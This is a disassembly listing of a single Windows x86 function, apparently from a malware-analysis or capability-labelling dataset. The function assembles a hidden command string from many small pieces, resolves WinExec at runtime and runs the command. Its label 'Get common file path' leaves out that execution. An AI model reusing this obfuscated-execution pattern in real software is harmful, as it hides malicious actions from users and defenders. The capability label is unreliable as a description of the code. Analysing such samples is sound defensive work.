Function at 0x4014e0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x427ae8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
push edi
mov eax, dword [0x4346e4]
mov dword [esp + 0x1c], 0
mov dword [esp + 8], eax
push 0x100
push 0x100
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 1
call fcn.0041f383
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.0041f3d2
lea ecx, [esp + 0xc]
push 2
push ecx
lea ecx, [esp + 0x10]
call fcn.0041e0de
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 2
call fcn.0041f08c
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call fcn.0041ef53
push 0x4322a8
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a0
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43229c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432298
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a0
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321f4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432294
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432290
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43219c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43228c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432288
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432284
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a8
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432280
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43227c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432278
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a0
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43227c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432278
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432290
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321a4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432274
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432270
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432288
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43229c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a0
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a0
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a8
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43228c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432274
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432270
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432288
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x43229c
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4322a0
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push str..pxtnIsli_mgorP_
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x432274
lea ecx, [esp + 0xc]
call fcn.0041f32f
push 0x4321d4
lea ecx, [esp + 0xc]
call fcn.0041f32f
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401853
push str.WinExec
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x401853
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 8]
push 0x432290
lea eax, [esp + 0x14]
push edx
push eax
call fcn.0041f1e8
lea ecx, [esp + 0x24]
lea edx, [esp + 0xc]
push ecx
push eax
push edx
mov byte [esp + 0x28], 3
call fcn.0041f182
mov eax, dword [eax]
push 5
push eax
mov byte [esp + 0x24], 4
call edi
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 3
call fcn.0041ef53
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c], 1
call fcn.0041ef53
lea ecx, [esp + 8]
mov byte [esp + 0x1c], 0
call fcn.0041ef53
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0xffffffff
call fcn.0041ef53
mov ecx, dword [esp + 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret